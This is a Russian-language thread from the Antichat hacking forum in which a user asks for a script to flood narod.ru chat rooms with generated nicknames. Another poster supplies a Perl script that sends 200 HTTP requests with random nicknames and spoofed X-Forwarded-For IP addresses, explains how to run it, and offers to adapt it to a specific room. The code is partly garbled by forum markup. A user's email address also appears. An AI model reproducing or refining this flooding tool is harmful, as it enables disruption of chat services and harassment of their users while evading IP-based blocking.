Форум АНТИЧАТ - Флуд никами в чатах народ.ру

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)

- - Флуд никами в чатах народ.ру (https://forum.antichat.xyz/showthread.php?t=2396)

Уже долгое время ищу скрипт для флуда никами в чатах на народ.ру. Попадались исходники скрипта но я не смог подстроить их под "народные" чаты, помогите пожалуйста со скриптом, я думаю для человека который в этом разбирается написать такой скрипт не составит труда, или может у когото уже есть готовый?

Буду очень благодарен за помощь.

Мое мыло kain.4a@mail.ru

Попасть на список чатов можно например вот по этой ссылке

http://narod.yandex.ru/chat....d=49004

Лови скрипт моего производства...
писал быстро если чё не работает пиши...
чё не понятно пиши...

Код:

#!/usr/bin/perl

print &quot;Contept-Type: text/html\n\n&quot;;

use Socket;

$host=&quot;ХОСТ ЧАТА НА НАРОД РУ&quot;;

$port=&quot;80&quot;;

socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp&#39http://forum.antichat.ru/iB_html/non...icons/wink.gif);

$iaddr = inet_aton($host);

$paddr = sockaddr_in($port, $iaddr);

connect(SOCK, $paddr);

@mass = (НИКГЕНЕРИРуЕМЫЙ', 'IP:&#39http://forum.antichat.ru/iB_html/non...icons/wink.gif;

$nickrand = @mass[0];

for($a=0;$a&lt;200;$a++)

{ &nbsp; 

 &nbsp;$iprand = int(rand(255));

 &nbsp;$iprand1 = int(rand(255)); 

 &nbsp;$iprand2 = int(rand(255));

 &nbsp;$iprand3 = int(rand(255)); &nbsp;

 &nbsp;$randnick = int(rand(100));

 &nbsp;$nick = &quot;@mass[0]$randnick&quot;; 

 &nbsp;send(SOCK, &quot;GET полный путь к чату со входом ника, только ник не пиши заметсо ника поставь - $nick HTTP/1.1\nREFERER: http://путь до начала главного скрипта чата\nX_FORWARDED_FOR: IP\nHost: http://хост чата\n\n&quot;, 0);

}

 print &quot;Wait: send packets...\n&quot;;

 print &quot;$a\n&quot;;

 print &lt;SOCK&gt;;

 close(SOCK);

 print &quot;Reserved:$a:$i\n&quot;;

 print &quot;CLOSED... press key&quot;;

 &nbsp; &nbsp;

&lt;&gt;;

Отредактируй сообщение.

Либо окружи код [co de] [/co de]

Либо убери галочку с опции "Я хочу использовать смайлики в этом сообщении" ...

Объестните пожалуйста как использовать данный скрипт, куда его подставлять? Буду очень благодарен за ответ.

береёшь сохраняешь скрипт у себя в файле с расширением .pl прописываешь где я обозначил пути к чату и вход ника! Ставищьь интерпретатор перловый ActivePerl скачать его можна с perl.com

если чё непонял дай ссылку конкретно твоего чата я пути сделаю...

frika, я тоже не понял, с этим народ.ру сплошные заморочки, там нужен специальный скрипт.
Это не работает...

"полный путь к чату со входом ника, только ник не пиши заметсо ника поставь  - $nick"

Дело в том что вместо ника ставится ID

скажи конкретно комнату на народе... я сам посмотрю... ну а заместо ника значит будим генерировать айди... не проблема